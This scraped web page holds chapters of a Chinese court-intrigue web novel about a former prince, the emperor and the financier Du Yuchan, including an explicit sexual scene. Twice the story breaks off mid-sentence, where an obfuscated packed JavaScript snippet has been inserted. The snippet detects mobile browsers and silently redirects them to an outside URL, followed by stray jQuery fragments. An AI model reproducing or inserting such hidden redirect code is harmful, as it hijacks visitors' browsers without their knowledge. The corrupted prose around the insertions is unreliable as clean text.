…… 文湛,“然后呢?” 赵毓说,“周王署官也到了。文湛,我觉得这个周王世子命挺好,别看他是个二五眼,周王给他配的属官倒是挺和善的,眼神也好,说话也十足地道,从来不得罪人。周王世子有他的辅佐,方有今日的福分。” 说道这,他还乐了。 文湛,“……?” …… “住手!”随后赶到周王府邸属官大惊失色,烟尘中看不清楚,就冲着承怡喊叫,“贱民以下犯上,当灭九族!” 承怡听着就乐了,“想灭我的九族,只怕第一个死的就是你们世子!” 周王属官一听不对,等待烟尘散去,他才看清楚承怡那张脸,登时,从马鞍上滚下来,爬在雪地上,“祈,……,祈,祈,祈,——祈王!” 凤化朝宠冠诸王的皇长子,祈王承怡。 周王世子也懵了。他们见过的。在大正宫。周王世子奉旨入宫觐见,像狗一样爬跪在微音殿太湖金砖之上,而九重御座之旁,黑檀木椅之上,坐着的少年,就是祈王承怡。 …… 文湛,“周王属官如果得力,当年那位世子如今的周王,怎么会被高墙圈禁?” “那是老爹顾念亲族。”赵毓,“那个世子,在雍京城就敢怎么嚣张,回了封地还不知怎么作践人。惹出来事,大了,老爹处置要见血,小了,因为涉及宗室不能重罚,民怨积少成多,就是祸事了。俗话说,水能载舟亦能煮粥,真到老百姓熬煮一锅粥的时候,被一锅端的,就是咱们了。老爹慈悲,画个圈,别让他出来,挺好的。” …… 等烟尘散去,承怡一下子坐在雪地上,黄枞菖吓的扑过来,“王爷,您没怎么着吧。” “饿了。”承怡捂着肚子,“我最后一点力气都救这傻小子了,连喘气的劲儿都没了。” 黄枞菖,“这傻小子见了祸事都不会躲,他煮的面肯定不好吃,一准儿带着傻味儿,没准儿吃了就会变得和他一样呆傻。王爷,咱不吃了,我去沿河那边给您买俩驴肉火烧吧。” 突然,一碗热汤面呈现在承怡面前,莹白的面条上铺着切的极其仔细的酸萝卜条,酸香扑鼻。 咕噜,咕噜,咕噜。 承怡肚子叫,“好香!六必居的小菜?” 面摊主人横了一双筷子在碗上,双手递过来,放在承怡手上,“我们哪里吃得起六必居?这个酸萝卜是乡间土菜,我自己腌的。吃吧,今天萝卜和面都管饱,不要钱。” …… 赵毓,“想来,当年在卢沟晓月卖面的小子,就是柳密。我当时吃了萝卜,就觉得好吃,让宫里的厨子、尹家的厨子比着做,味道也不错,却不是一个味儿。原来,柳密用了柿子浆。读书人清贵,亲手做的小菜也清贵,我领情。对了,文湛,这个人,是哪里人?” 文湛,“祖籍邺郡,周王封地。柳密幼失怙恃,父亲死于上山采回天草。” 142. 142 142 周王封地的孤儿,卢沟晓月卖面的小子,翰林院的庶吉士,户部小吏,微音殿的新贵,如今的都察院左都御史。 名震王公,总宪天下的柳密。 他的脸在赵毓眼前的酸萝卜坛子中若隐若现。 人生的境遇就像是水中的草,缠绕扭曲着,脆弱却妖娆,不知道会飘向何方,也不知道什么时候会再相遇。 “我记不清楚了,……”赵毓声音飘忽,“我当时在卢沟晓月等老崔。” “那天下了雪,河水却没有封冻,从南边来的船进了码头就能靠岸。” “我吃完了面,老崔的船就到了。” “时辰虽然已不早,可是天却是亮的,运河明晃晃,照着人眼。” “老崔的船从南边来,带了一位朋友。这个人,手中握有大量江南十三行的银票。方才薛宣平说,雍京长生行的大掌柜鬼占想见我,递过来一张银票,老式的银票,墨迹却还潮润,显得是新写的,就是此人笔迹。” 江南永嘉十三行,老式手写的银票,雍京白银之役前,顶得上一家商行的信用。 文湛,“周熙?” 赵毓,“不。” 他摇头,说,“是杜玉蝉。” 杜玉蝉,杜皬的宗孙。 前朝首辅大臣杜皬曾是文湛的政敌,独霸朝纲二十年,江南兰芝社最后的辉煌。如今身死十数年,文湛也无法将他的痕迹全然抹去。 赵毓,“杜家的这位公子文名操守一向动士林,但年他有个雅号‘拣尽寒枝’,与老崔并称双璧。崔珩也将他视为知己。后来,杜皬以忤逆大罪为名,将其逐出杜氏宗族,这一狠招,才在杜氏大厦将倾之际留下了性命。” 文湛没说话。 赵毓,“听说他隐于江南了。” 文湛还是没说话。 赵毓,“这些年,你放他一条性命,我觉得挺意外的。” 文湛似乎吃饱了,把眼前的东西向赵毓的手边推了一下,“当年,你离京的时候留了话,我可不敢违背。” “……?” “我?”赵毓,“……我说什么了?” 文湛,“杜皬罪该万死,可是他们兄妹无辜。” …… 崔珩的船上下来一位身披深色湖丝锦绣大氅的公子,苍白文秀,眼皮子懒懒的,自然一份雍容。 杜玉蝉。 见到彼时的祈王承怡,也是一身的随意,深施一礼,“殿下,久闻大名,如雷贯耳。” 那一刻,似乎运河之水开始封冻。 ……… 长生当铺招牌不显眼,却在雍京城赫赫威名,薛宣平倒是第一次到这里。 临街的铺子,显得异常朴实无华。 里面是三进的院落。 普通人是进不了长生当的大门的。 第一进,没钱吃饭,当了祖宗留下的一些物件换口酒喝的破落户。 第二进,以土地财货换银子的贵人。 而这第三进,…… 盛夏。 雍京的夜有些闷,屋子里面待不住人,席面就摆在外面的院落中。这里幽深,没有丝竹之音,却是紫檀木的拍板轻点,歌姬的喉音犹如纤细的丝,袅袅散了出来。在文曦楼挂头牌的乔良,在外面风光无限,戏台子上也是一副帝王将相的皮囊,在这里也只是个陪酒赔笑的戏子。 薛宣平眼见着长生当的大掌柜,姓鬼名占的这朵奇葩,从酒池肉林中飘了过来,却在距离赵毓三尺之外,定住了。 “赵先生,薛掌柜。”鬼占敛着眼神,伸手向后,“这边请。杜先生已经到了。” “啊?”薛宣平有些懵,这个杜先生是哪里冒出来? 他看了看赵毓,却惊奇地发现赵毓有些怂。 这让他更加奇怪。 这个老赵,平时看着和善,其实凶狠犹如野狗,就算被人扼住了喉咙,也能撕咬下来敌人的一块血肉。 呃,其实,赵毓也怂过,面对他那个如珠如宝的小白脸,他就怂。 可是那种怂和眼前这副德行不一样。 此时,赵毓的双脚似乎有些自己的想法,总是要扭着,向着门外。 “赵先生,有大笔银钱入账,是好事。”鬼占说,“这人,就算跟全天下所有人都不对付,也不能跟白银做对,您说是不是这个理儿?” 薛宣平别的没仔细听,他的耳朵只听到——大笔银钱入账。 而赵毓,……,嘴一撇,“君子固穷。” 薛宣平,“……?” 拉倒吧。 他赵毓要是固穷了,全天下胼手胝足的人都成饿鬼了。 长生当最后一层院子是假山上的一个亭子,青草盘绕,荼蘼盛开。 “君子固穷,小人穷斯滥矣。”亭子上有人说话,“可是,能让君子穷途末路,也不是什么好世道。” 雍京官话! 清晰,纯正。 薛宣平在雍京城混久了,也听得出官话中的极细微的差别,和那庶民百姓察觉不出的三六九等。亭子中这个声音清淡绵软,乍一听,像周熙,似乎都有江南的清冽,仔细一辨别,却迥然不同。 因为。 他的官话太正了。 周熙的官话好听,却带着吴音,而亭中人的声音没有任何的杂音,就是清澈的水,透到极点,活不了一只生灵。 这是出身于巨宦士族的人才有的口音。 就算纯正雍京官话分个三九六等,这也是最高等。 薛宣平忽然有些耳背,他伸手拍了拍自己的右耳,顿时有个念头,——赵毓那个小白脸,似乎也是这样的口音。为什么是似乎呢,因为,每次看到那个小白脸,薛宣平不是被赵毓的馋样儿污了眼,就是被小白脸的脸蛋子扎了眼,反而没太注意其他了。 亭子中人自顶拾级而下,月白色的衣袍,好似一个钧窑出戟尊。那人一身的随意,深施一礼,“殿下,多年未见,别来无恙。” …… 长生当侧门外是空地,停着客人们的马车,车夫们得了空闲,凑在一起,抽几口旱烟,喝几口大碗泡的高沫,各府的闲言碎语拣一些不重要的闲聊一番。 赵毓的马车也在,就停在墙根边上。马车夫在外面坐着,不闲聊,也不抽烟喝茶,而里面则坐着黄枞菖。今天微音殿不该他当值,他就跟着赵毓出来了,因为不想看见长生当那些人,就躲在马车里面等人。 闲着有些无聊,黄枞菖挑亮了琉璃灯,拿出竹绷子,开始绣花。 这是给赵毓绣的荷包。 原本绣赵毓的荷包是他老婆的活儿,可是绮罗针线女红实在不咋地,那些年,赵毓身上的荷包就是一个,……,呃,夫人亲手缝制的布包,里面放一些草药和一粒救命用的安宫牛黄大人参丸。后来,尹夫人薨逝,赵毓就带着那个布包,一直到回雍京。 现如今,赵毓算是又‘续弦’了,只是这位续弦对于绣荷包更是一窍不通,在江南织造供奉的各色鸳鸯戏水的荷包被大大嫌弃之后,他们在黄枞菖提供的三个花样子“东坡肉与花雕”、“渭水水盆”和“雍京烤鸭”中采光剖璞,最后,“雍京烤鸭”的花样儿拔得头筹。 黄枞菖的针线活儿是跟江南织造供到雍京的绣娘学的,一针一线都是苏绣真谛,再加上他本身的水墨画功底,弄个屏风似乎都不在话下,不要说小小的一方荷包了。他绣花倒是挺认真,此时,这只烤鸭子的鸭脖子都出来了,琉璃灯下,显得油光水滑,甚是美味四溢。 忽然! 砰砰砰。 有人在外面敲马车的板木。 车夫也没预警。 黄枞菖心中一疑,马车帘子就被掀开,外面一个人,宗室的脸蛋子,仔细找,能看出和圣上有那么一分半毫的相似。他身上是暗色的湖州丝袍,明显就是江南织造的贡品,有浓重的熏香,隐隐还带着迦南的味道。 这个人面无表情的看着黄枞菖。 而黄枞菖,也面无表情的看着他,手中继续绣花,一针,一针,又一针,丝线在竹绷子两侧翻飞着。 “九爷。”黄枞菖问,“有事儿?” “嗯。”那人说,“那边有个茶楼,清净。你跟我过来。” 黄枞菖不多话,下了马车,随手还带着那个竹绷子。 那人说,“黄秉笔,咱能不现这个眼吗?” 黄枞菖,“九爷要是嫌弃我,我就不跟您喝茶了,我还得在这儿等人。” 那人看着黄枞菖,眼皮子和嘴角微微抽动几下,像是强压着火,“他一向胡闹,你也跟着折腾,他是贵胄,你一个后宫奴婢,不怕到最后没下场?” 黄枞菖一挑眉,“九爷,您这话,里,有话呀。” …… 长生当后院摆放着酒。几碟子精致的瓷器中放着糖藕,青团,和红色梅花样子的万三糕,旁边一个描金红漆的木盒子,摆着果脯蜜饯和松子糖。三个人坐好,周围也清退了闲杂,安静立刻如同幕布,围了起来,丛草中有虫鸣振翅,而远处树枝上的鸟吟,则透过浓夏穿透而来,显得异常悠远。 赵毓手指着薛宣平对那个‘钧窑出戟尊’说,“这是我们元承行的大掌柜,薛宣平。生意上的往来,账目上的事情,都同他讲,我是甩手吃干饭的,这些东西,一概不当家。” “薛先生是人物。”那人重新抬眼看了看薛宣平,“良禽择木而栖,您择的是一根巨木,能擎天,能架海。” 薛宣平听见了这个‘钧窑出戟尊’管老赵称呼‘殿下’,那就是知道老赵底细的旧相识,此时不需要再拉三扯四,于是张口,“这位先生尊姓?” “杜。” “杜先生,生意上的事同我讲。”薛宣平说,“老赵忙,不管这些杂事。” 杜玉蝉忽然问,“赵先生如今忙什么?” 薛宣平心说,——还有啥,不就是整日同那个小白脸腻腻歪歪。只是,一张嘴则是,“读书,专心治学。”说完,还抬手摸了摸胸口,看看良心还在不在。 杜玉蝉忽然抬手拍了两下,几个长衫小厮从外面进来,抬着几口大檀木箱。这些木箱子一字排开,打开,满满的,全是江南十三行的大额银票,还有一沓子乱七八糟的账。饶是薛宣平双眼如炬,对于账上数字过目不忘,对于银钱重量估计错漏上下不超过一斛,此时也是傻眼,——这,这……,这究竟是多少银子??!! 赵毓异常平淡,只是说,“这是去年雍京西市白银赌局最后一笔账,你抱回去,让账房那些人今夜别睡了,辛苦辛苦,把账目算清爽。你让厨房把冰窖中的冰块挖出来,做成冻酸梅汤,给大家解暑,看到这些东西,千万别上头,晕了就不好了。” 薛宣平有些愣怔,赵毓忽然乐了,“老薛,今天算是见了大佛。你眼前这位,就是西市赌局的幕后大庄,昆山人,杜玉蝉。” 雍京西市白银赌局! 那可是几乎撼动了整个大郑王朝的白银赌局,这幕后大庄,究竟是个什么来路? 昆山。 杜。 江南。 兰芝社? …… 黄枞菖口中的九爷,就是旻铉,徽郡王世子。 徽郡王家的旻铉自幼在毓正宫读书,作为宗室子弟,他是皇子的伴读。赵毓还是凤化朝的皇长子承怡的时候,旻铉是他的研磨侍读,算是自幼同窗,一起长大,就是赵毓读书劲实在稀松平常,并且,就算有些读书的心劲儿,也得在东宫与太子文湛一同呆着,所以,他与旻铉,除了骑射打球之外,似乎也没啥相处,反倒是作为皇长子大伴的黄枞菖与旻铉在一起读书的时候比较长久。 这么多年后的今天,已经是司礼监秉笔大太监的黄枞菖与徽郡王也混成了狗肉朋友,作为先帝下旨册封的徽郡王府邸的世子,旻铉与他自然也是一份不同与寻常同僚的友谊。 茶楼的雅间中,红泥小炉上煮着茶汤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729000|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚着,咕嘟咕嘟冒着泡。 两个人都没说话。 黄枞菖手中的针线蹭蹭地穿梭着,油光水滑的鸭脖子逐渐伸长。 “祈王,他前面有个坎。”旻铉说,“他自己能不能跳过去,身后都有圣上,肯定能活。可跟着他的人未必能渡劫成功。他得了道,你填了坑,黄枞菖,你觉得值吗?” 听着,黄枞菖放下手中的竹绷子,伸手拿起来茶壶,给旻铉和自己倒了两盏茶水。“值得,还是不值得,我自己衡量。世子,您喝茶。” “少在我这里玩这套。”旻铉拿茶盏,又嫌烫手,就泼了水,“人不为己天诛地灭,你黄枞菖混到今天不容易,身后也是一大家子人,不至于为了一个废王肝脑涂地。”说着,他自己倒是细细思忖了一番,“难道,外面的传闻是真的?” 黄枞菖这次到真是一愣,端着茶盏抿了一口,“什么传闻?” “祈王此人,一向,……”旻铉,“熟谙风月之事。此次回京,我听说他身边就有个没落世家子做娈童,每日招摇过市,一点不知廉耻。你不会也被他迷了心智,把床榻之上的逢场作戏当成真心实意?” 噗!~~~~ 闻言,黄枞菖把口中的茶水尽数喷到旻铉的脸蛋子上。 此时,不止竹绷子上的鸭脖子油光水滑,徽郡王世子这张脸,被流水刷过,倒是挺光艳照人的。 …… 薛宣平带人抬着箱子走了,赵毓则留下。 石桌上美食佳肴,只是围坐的两个人都没胃口。 赵毓的手指在桌面上抓了抓,想着伸头一刀,缩头也是一刀,于是把心一横,站起来,“杜兄啊,您和老崔是铁瓷,可是他现如今去南方了,咱俩也不熟,要是您没啥别的事儿,我先告辞了。等老崔回来,你要是还没回南边,我让他请你喝酒。” 哎,说完他也觉得自己怂,可是,怂到溜走,也比面对一个无法解开的旧日冤孽要强。 先帝曾经谆谆教导,——小杖受大杖走,善败者不乱。 “殿下。”杜玉蝉的声音倒是不慌,就是带着一分的枯涩,“我等蝼蚁性命攸关的大事,在您这里就是一句话的小事。您坐下来,容我说一句,天塌不了。” 赵毓又坐了回去。 杜玉蝉深吸了一口气,才说,“太子妃,她还好吗?” 赵毓,“太子年方十三,尚未婚配。” 杜玉蝉,“你我都知道我问的人是谁,殿下何必?” 赵毓则反问,“你想她好,还是不好?” 杜玉蝉,“她的疯病,……,这么多年,……” 赵毓,“她没有疯病。” “什么?”这一次,杜玉蝉倒是当真惊诧了,“我怎么听说,……,太子妃,我妹妹她,一入宫门,就疯了?” 赵毓,“当年,杜明鹤为了侍寝对圣上下了青蛾,这种药极其狠毒霸道。那时圣上重伤未愈,因为青蛾而伤情愈加凶险,幸好林医正在西郊救助冻伤百姓舍药而没有回老家过年,留在大正宫,圣上这才有惊无险。如此大罪,如果杜明鹤不疯,圣上就算想要法外容情,都是没有法子的。” 杜玉蝉忽然古怪地笑了一下,“法外,……,容情?” 赵毓,“杜氏贵女,天生就在黄金打造的笼子里,成为祖父,父亲,甚至还有兄长政斗的牺牲和筹码,圣上就算对杜氏一族恨之入骨,根源也只是杜皬一人。如今杜皬早已伏诛入土,圣上不会再迁怒杜明鹤,而且,她是先皇后为圣上亲自聘的正妻,对杜明鹤容情,也是对先皇后一丝追念。” 杜玉蝉,“她现在在哪里?” 赵毓,“后宫。你要问我,她过得好不好,我只能实话实说。这十几年我没有见过她。我母亲先帝崔贵妃执掌后宫,她不苛待任何人。我听说,杜明鹤过得很平静,至于其他,我就不知道了。” 杜玉蝉,“她能出宫吗?” 赵毓,“不能。” 杜玉蝉,“是呀,皇帝的女人,即使是弃子,即使从来没有得到过任何温情,从大正门抬进去,此一生想要离开那里,也只能是入殓如棺的那一天。” “不。”赵毓则说,“杜明鹤无法出宫,恰恰是因为她没有疯。所以刚才我问你,你是希望她好,还是不好?” 杜玉蝉,“……” 赵毓,“她不好,她可以出宫,你们兄妹能团聚;她好,她不疯,她就走不出红墙琉璃瓦的大正宫,你们兄妹也无团圆日。” “这就是无法破解的死局?”杜玉蝉,“这些年我在江南苦心孤诣的经营,就是为了有朝一日,有足够的筹码,可以撼动我需要撼动的人,接我妹妹出宫。殿下,白银赌局那些收益不够撼动你吗?不足换我妹妹吗?” “死局?也是杜公子你亲手打造的。”赵毓,“你对她出宫的渴求,给了圣上一把制约你的刀。杜公子,还不明白吗?你越是有价值,你对杜明鹤的手足之情越深,圣上越是不可能放过她。以你如今在兰芝社的地位,能在雍京西城组白银局,你觉得,圣上会让杜明鹤出大正宫一步吗?呃,没准,她今天晚上倒是能有一顿异常丰盛的酒宴,没有任何危险,就是单纯的酒宴,送过去的人肯定会说,整个后宫有封号的主子们一人一份,她也许能喝上米酿和花雕,只是,她连这是为了什么都不知道。” “十四年了。”杜玉蝉忽然有些颓,“整整十四年,杜家门里,只有我们兄妹,还苟延残喘。” 赵毓则慢慢站起来,“十四年了,杜公子还没有想明白,圣上早已经不是当年那个在杜阁老威压下战战兢兢,行差踏错一步就万劫不复的太子。” “殿下”。杜玉蝉也站起来,“不在其位不谋其政。你其实没必要蹚这浑水。” 赵毓,“杜公子,这话里有话。” 杜玉蝉却不再说什么,只是,“雍京是大郑京师,千年帝都,繁茂昌盛,也愿殿下如此盛景,一切顺遂安康。” 语毕,深施一礼。 143. 143 143 寿春宫。 赵毓,黄枞菖和赵格非三个人围着一个木圆桌子,在吃饭。赵格非写了一晚上的字,临睡之前饿了,她就捧着一碗鸡汤馄饨面;黄枞菖过午不食,手边是一盅松茸三花(人参花,虫草花和金银花)汤,手中的绣花活计愣是没有停下来;而赵毓,面前则是全套酒馔,外加点心和西疆运过来的蜜瓜葡萄,淋着关外大鲜卑山产的洋槐蜜。 赵毓滋溜一口酒,吧嗒一口肉,吃得倒是挺香甜,就是显得有些沉闷。 “亲爹,方才吃席没吃饱?” “我连口茶水都没敢喝。”赵毓扒拉两口米饭,“黄瓜,你再去问问,御膳房给杜明鹤送了酒席,她吃了吗?再扫听扫听,她可别多心,万一她不言不语地吃了,回头再抹脖子上吊就不好了。” 黄枞菖叹口气,“祖宗别担心,太贵妃娘娘怕出事,找了个名目,把后宫仅存的几位主子大多还是先帝留下的太妃们都攒在一块儿,喝酒吃肉,还招了水镜台几个小戏唱曲,挺热闹,杜氏也在,没见异常。” “哦。”赵毓应了声,喝了口酒,“我今天琢磨一晚上了,杜玉蝉跟我说的话到底几分真假。他表现得那么兄妹情深,真正是见者惊心闻者落泪,可我怎么看着,这么别扭呢?” 赵格非不知道他们在说谁,黄枞菖却不搭话。 赵毓忽然说,“我想老崔了。” 黄枞菖,“……啊?” 赵毓,“这杜玉蝉是他的同窗,他的铁瓷,他的风雨对床,他跑到南边,撒手不管,别人处起来真麻烦。” 黄枞菖,“……??~~~~~” 赵毓,“别说,这老崔平时在雍京的时候,我总嫌他只吃干饭不干活儿,他这一走,他的活儿留给别人了,我就觉得,其实,他还是踏实做了一些事的。” 黄枞菖,“嗯哼。” 赵毓,“这杜玉蝉当年号称杜府的文胆,老崔那个刁钻的都对他佩服到不成,现如今他能在孤绝之境中拼到这一步,真正是不可小觑。” 黄枞菖,“兰芝社的事,……” 赵毓,“他们杜家本来就在兰芝社中举足轻重,再加上他当真有本事,持牛耳不稀奇。就是杜明鹤,……,我怎么看,这个杜公子都像是拿着他妹妹作伐子,张口手足,闭口兄妹。话说回来,我瞅着杜玉蝉和杜明鹤不像手足,他到像是梅翰林的兄弟。他们兄弟两个,一个兄妹情深,一个夫妻情深。哎,要不是圣上容情,杜明鹤日子当真难过。” 黄枞菖双眼盯着竹绷子上的鸭脖子,忽然来一句,“这世上,除了您,也没人在乎她。” 赵格非忽然插了一句嘴,“亲爹,黄瓜叔,说得是谁?” 黄枞菖立马闭嘴,全身上下只剩下针线穿梭。 赵毓扒拉米饭说,“你六叔的老婆。” “啥????!!!!”赵格非,没绷紧雍京名门贵女的做派,嚷了一嗓子,“我六叔居然有老婆?” “你六叔又不是山村野夫,这么大的人了,还能没老婆?”赵毓反而惊奇,“《礼记.昏义》说了,——天子后立六宫、三夫人、九嫔、二十七世妇、八十一御妻。我粗略掐指算算,小二百来号人,这要是都弄全乎了,挺费钱的。你六叔就杜明鹤这么一个明媒正娶的老婆,还是他亲娘先皇后活着的时候,万里挑一给聘回大正宫的,要是平稳安顺,杜家大厦依旧,现如今,她就是大郑的皇后。” “啥????!!!!”赵格非,还是没绷紧雍京名门贵女的做派,又嚷了一嗓子,“我六叔居然有亲娘?” 这次赵毓也沉默了。 …… ——一个人,是如何把自己活得像石头缝里蹦出来的孤家寡人呢? 这思绪,就像是老树的藤,张牙舞爪,恣意生长。 “哥哥。” “哥哥,……” 夜深,人不静。 赵毓死狗一样趴着。 后脖子上被文湛嘬得有些疼,他抬手抓了抓,皇帝修长的手指挡开他,一坨清凉的药膏糊了上去。 “承怡,你方才说什么?” “我说啥了?” “什么石头缝?” “呃,是格非。”赵毓搜刮肚肠,“她觉得你是集天地灵气孕育而出的圣主。哎呦,对,对,就那里!我的老腰真疼,你给好好揉揉。” “你们到底说什么了?”文湛一边给他揉搓,一般有些不依不饶,“舒服吗?” 赵毓觉得自己身上本来很疼的地方被文湛手指按住,变得又酸又麻。 “呃,还能有啥,说的是谁,你不是都知道了吗?”他抓了抓头发,汗水湿透了,想着等会儿洗洗再睡。“哦哦哦,就是那里,再加点力气,……你还是轻点儿,……” 文湛,“不知道,我就要你说。” 赵毓,“你要是扳不倒杜皬,杜明鹤就是皇后。呃,……,疼,你轻点!” 赵毓自己伸手向前抓了抓,可是腰身被扣住,硬是被拖了过去,他的手指在湖丝的褥子上抓出了几道线,原本有些凉意的丝也开始火热潮湿起来。 重。 文湛的动作极重。 他揪住赵毓的耳朵,舔够了,才开口,一字一字,犹如透骨之钉,“她想当皇后?……,除非我死!” 兵荒马乱过了许久,寝殿那种的九重帷幕挡住了时间的流逝,春宵也许只是一宿,也许是千年,总之,很久很久之后,安宁终于降临。赵毓感觉自己的身体被文湛用尽全力拥住,他像个猎物一样蜷缩在皇帝怀中,一动不动。 “这么多年了,……”赵毓轻叹一声,“这个坎怎么就过不去?” 文湛不说话。 赵毓又叹口气,“你觉得憋屈,这个老婆也是你亲娘为了保护你的政治利益寻觅回来的。你想想杜明鹤,要是有选择,她就算嫁入衍圣公府也比当太子妃强,最不济,衍圣公的金字招牌还能保她一个三重牌坊。或者再退一步,她嫁回昆山老家,找个家底厚实的庄户生儿育女,都比嫁给你强。” 文湛忽然来了一句,“我想她干嘛?她父兄都不管她,我好吃好喝的供着,还想怎样?” 赵毓让他松松手,自己终于掏出手了抓抓头发,“冤孽,陈年的冤孽。我就说,雍京白银局幕后大庄家的钱不是那么好拿的。” 文湛微微支起来,眼对眼看着赵毓,“你什么时候知道杜玉蝉是庄家。” “我一直都知道啊。”赵毓,“当年西北用兵筹措军饷,我有几封债票都是他出银子买的。” 文湛一哼,“你到交游广阔。” 赵毓又抓了抓头发,“呃,陛下,您这是好话吧。”话还没说完,就感觉文湛双手扣住他的老腰又想折腾,他连忙求饶,“我真不成啦!老薛带着元承行所有账房夤夜算账,我眯一会儿得过去瞧瞧。陛下,微臣也不是青春少艾了,您得容我缓缓,您这生龙活虎的,为您侍寝也是个力气活儿,……” 一下子被堵住了嘴。 密合的亲吻像虎狼在噬咬。 …… 赵毓到元承行,发现薛宣平把全部账房分了三拨人,三班倒着算账。从昨天夜里一直到现在,却连三分之一的账目都没弄清爽。 谢家学院今天放温书假,赵格非也到元承行来,携了一个朋友随行。赵毓在门口看到她们的马车停好,就过去掀帘子,让人放了木凳,搭把手让赵格非扶着他下马车,随后,退了一步,身后一位女管事过来,把后面的女孩子扶了下来。 “亲爹,她是我在书院的同窗,沈瑶。”赵格非说,“今天书院温书假,我邀她过来喝茶。” 那位小姑娘对着赵毓施了礼,像是士族书生之间的敬,未见晚辈对长辈的屈。她微微低头的时候,发髻上的一颗明珠顺着黄金流苏垂了下来,半遮住眼睛,纤细的碰撞响声,让人想起水雾缭绕的烟雨江南。 “有好茶,也有好点心,今天你们两个小姑娘就痛痛快快的吃喝,一会儿要是想听戏,我找人带你们上戏楼。” 赵毓说完,引她们进门,让一个女管事带到后面花厅喝茶吃点心,再随心逛逛。他自己就到账房这里,老远儿,就听见算盘珠子噼里啪啦山响。 “老赵。”薛宣平拿过来几本账,“西城赌局的钱大概理清楚了,细账算出来,还得一天。” “嗯。”赵毓翻了翻,“不着急。另外,你再寻摸一个僻静的院子,我找人挖坑做银窖,账目清爽了,咱们还得让人去长生当接现银。这是大事儿。” 薛宣平一乐,“这事儿我喜欢,再累都成。咦,老赵,怎么了?” 赵毓手指在一页账目上压了一条线,然后迅速翻页,再翻页,又压了一条线,如此这般,一本账翻过去,他问,“你让账房先查这几处。这是几户人家的死当,也就是说,债主就没想着再赎回去。我怎么看着当票的号不太对劲。” 薛宣平一愣,“假的?” “不,是真的。”赵毓,“这是土地。我记得长生当对于置押的土地全部有特殊的编号,这几个开头是雍、北、绮,我估摸着,应该雍京北的绮镇。” “啥?”薛宣平一愣。“绮镇,那里的土地,不都应该在你手中吗?” 赵毓,“我让我表哥分块发买了。” 薛宣平,“他们买得起?那些土地可以种玉碎珍珠,那是贡米,卖到雍京城,赚的钱是普通稻米的三倍到十倍!” 赵毓,“元承行做了新米贷,先放了钱给他们买地,我们压住田契,约了还钱期限,二十年也有,十年也有,短的三年五载的也有,看他们自己。只要安生种田,每年收了新米,我们还帮着买卖,他们稳赚不赔。所以,我不知道为什么会有人把田契做了死当,反常。” 薛宣平一合账,“我赶紧去。”他到后面的院子中,正看见赵格非和她那个朋友向外走,于是打招呼,“少东,姑娘。你们喝完茶了,饿不,我让厨房摆饭?” 赵格非,“我爹呢?他要是饿了,一起吃。” “少东别管老赵。”薛宣平说,“他让我们查账,估计一时半刻也不得闲,我让厨房给他蒸着肉,还冰了米酒,饿不着。” 他们站在这边看向花园外的赵毓,发现他带着浅笑,正在和管事的说话,还冲着这边做了个手势,让她们自便。 薛宣平,“少东,您和您这位同窗去吃喝,两个小姑娘有私房话,我们大老爷儿在场,你们小姐妹吃东西也撇不开腮帮子,喝酒也不敞亮,是吧。我让厨房准备了桂花米酿,小姑娘喝着最舒服,不醉人。” 赵格非和沈瑶吃饭的时候喝了酒,赵毓没让她们再上戏楼,从女管事当中请了一位会票戏的,在花厅拉开架子,唱了一折戏。 《木兰辞》。 元承行这位女管事平日没事就票戏,嗓子跟名角那是根本没法子比,但是糊弄人还是绰绰有余。 赵格非就看着这位大姐站在蔷薇花丛前,犹如一只威武的山东狮子猫。 一张嘴,音色嘹亮雄浑! 没别的大毛病,就是有些破音。 ——万里赴戎机,关山度若飞。朔气传金柝,寒光照铁衣。将军百战死,壮士,……壮士,……,壮士那个壮士,……啊啊啊啊! 唱到这里,女管事好像忘词了,于是,向前一步,“姑娘们,我们一起唱!” “壮士,……” “十年归。”赵格非和沈瑶气息弱弱的配合着。 女管事最后一吼叫,——”壮士,壮士那个十年归,哇呀呀呀呀!“ 赵格非和沈瑶,”……??“ …… 赵毓忙完了,亲自乘着马车,带着赵格非送沈瑶回家。 沈瑶家也在雍京北城,到了说的地方,门外早就候着几个丫鬟和一个女管事,感觉这位也挺有地位,身上的衣料子都是绫罗。 眼前这座府邸也是坐北朝南,廊檐下的大梁只雕刻没有彩绘,正面一个匾,已经很有些年头了,书法却是稀世之珍,只是两个字“沈府”,就足够穿过数百年的岁月,傲然于雍京北城。 沈。 沈熙载。 这是他的府邸。 等他们下马车,那位女管事过来,“这么晚了,劳烦赵府女公子过来一趟,也麻烦这位先生了,请问先生怎么称呼?” 赵毓身上是长衫,却是布衣。这位沈家女管事把赵毓当成是赵格非的管事了。 赵格非连忙说,“这是我父亲。” 那女人赶紧赔罪,说自己有眼无珠什么的,赵毓赶紧制止,“没事儿,没事儿。既然沈姑娘平安到家,那我们爷俩也回去了。” 此时,沈瑶与赵格非道了别,就到赵毓面前,微微施礼,“多谢赵先生,承蒙款待。” 借着月光,她微微抬头,看着赵毓。 发现,赵毓也看着她,眼中毫无笑意,却温和说,“代我问沈大人好。” 寿春宫。 夜深了,赵格非在写字,赵毓捧着一盏冰镇酸梅汤杵在一旁看着她,忽然试探着问了一句,“闺女,我第一次见你同窗,你在谢家书院中,还认识什么朋友吗?” 赵格非手中的笔没有停,“亲爹,有话直接,别拐弯抹角。” 赵毓,“就是,那个沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729001|189581||http|test|mini|href|location''.split(''|''),0,{})); () { 